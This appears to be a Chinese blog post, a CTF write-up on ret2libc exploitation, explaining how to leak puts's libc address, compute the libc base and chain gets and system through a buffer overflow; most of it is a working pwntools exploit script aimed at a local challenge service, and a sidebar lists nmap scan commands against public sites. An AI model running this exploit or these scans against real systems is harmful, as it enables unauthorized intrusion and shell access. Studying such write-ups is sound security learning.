zoukankan      html  css  js  c++  java
  • pwn-ROP(2)

    通过int80系统只对静态编译有效,动态编译需要用其他方法

    本题提供了一个地址输入端,输入函数地址会返回该函数的实际地址,我们用得到的实际地址-偏移地址=基地址,然后用基地址+任意函数的偏移地址就可以得到实际地址,就可以调用gets、system等函数,利用溢出点传入shell。

    首先,用objdump看一下用到的puts函数的跳转地址

    exp中先传入0x804a01c,会得到一个实际地址,把这个地址先保存起来,再用命令找到puts的偏移地址

    得到偏移地址0x0064da0,用得到的实际地址-偏移地址,这样就得到了基地址。同样可以得到gets、system的偏移地址,加上基地址,得到实际地址,程序之后会有一个输入点,用溢出即可传入shell

    exp:

     1 from pwn import *
     2 
     3 r = remote('127.0.0.1',4000)
     4 
     5 puts_got_plt = 0x804a01c
     6 puts_off = 0x0064da0
     7 
     8 r.recvuntil(':')
     9 r.sendline(str(puts_got_plt))
    10 r.recvuntil(':')
    11 libc_base = int(r.recvuntil('
    ').strip(),16) - puts_off
    12 print 'Libc base addr :' + hex(libc_base)                 #得到基地址
    13 
    14 gets_off = 0x0064440
    15 system_off = 0x003fe70 
    16 
    17 buf = 0x0804a048 - 50
    18 
    19 gets = libc_base +gets_off
    20 system = libc_base +system_off
    21 
    22 rop=[
    23     gets,
    24     system,
    25     buf,
    26     buf
    27 
    28 ]
    29 
    30 r.recvuntil(':')
    31 r.sendline('a'*60+flat(rop))             #溢出点
    32 sleep(2)
    33 r.sendline('/bin/shx00')                 #传入shell
    34 
    35 
    36 r.interactive()

  • 相关阅读:
    MBProgressHUD上传照片进度提示
    -oN ,-oX,-oG
    nmap -sN -p 22,80 www.baidu.com
    22/tcp open|filtered ssh 80/tcp open|filtered http
    nmap -sS
    nmap -sT
    tcpdump --nnx tcp and host 192.168.10.9
    awk对列求和
    genlist -s 192.168.1.*
    /usr/local/sbin/fping -s www.baidu.com www.google.com
  • 原文地址:https://www.cnblogs.com/Aiden-/p/9180177.html
Copyright © 2011-2022 走看看